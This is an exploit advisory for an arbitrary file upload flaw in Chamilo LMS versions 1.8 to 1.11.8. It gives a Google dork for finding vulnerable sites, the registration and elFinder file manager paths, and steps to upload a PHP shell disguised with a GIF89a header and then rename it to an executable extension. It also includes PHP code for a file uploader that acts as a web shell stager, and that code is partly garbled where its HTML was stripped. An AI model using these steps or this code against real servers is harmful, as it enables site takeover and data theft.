<-- # Exploit Title: Chamillo LMS Arbitrary File Upload # Google Dork: "powered by chamilo" # Date: 05/10/2018 # Exploit Author: Sohel Yousef jellyfish security team # Software Link: https://chamilo.org/en/download/ # Version: Chamilo 1.11.8 or lower to 1.8 # Category: webapps 1. Description Any registered user can upload files and rename and change the file type to php5 or php7 by ckeditor module in my files section register here : http://localhost/chamilo//main/auth/inscription.php after registration you can view this sections http://localhost/chamilo/main/social/myfiles.php http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0 upload your shell in gif format and then rename the format if the rename function was desabled and add this GIF89;aGIF89;aGIF89;a before PHP Test
FILE UPLOAD


'; $tgt_dir = "uploads/"; $tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']); echo "
TARGET FILE= ".$tgt_file; //$filename = $_FILES['fileToUpload']['name']; echo "
FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"]; if(isset($_POST['submit'])) { if(file_exists("uploads/".$_FILES["fileToUpload"]["name"])) { echo "
file exists, try with another name"; } else { echo "
STARTING UPLOAD PROCESS
"; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $tgt_file)) { echo "
File UPLOADED:- ".$tgt_file; } else { echo "
ERROR WHILE UPLOADING FILE
"; } } } ?> and uplaod it as php.gif you can browse the files form right click and click on browse option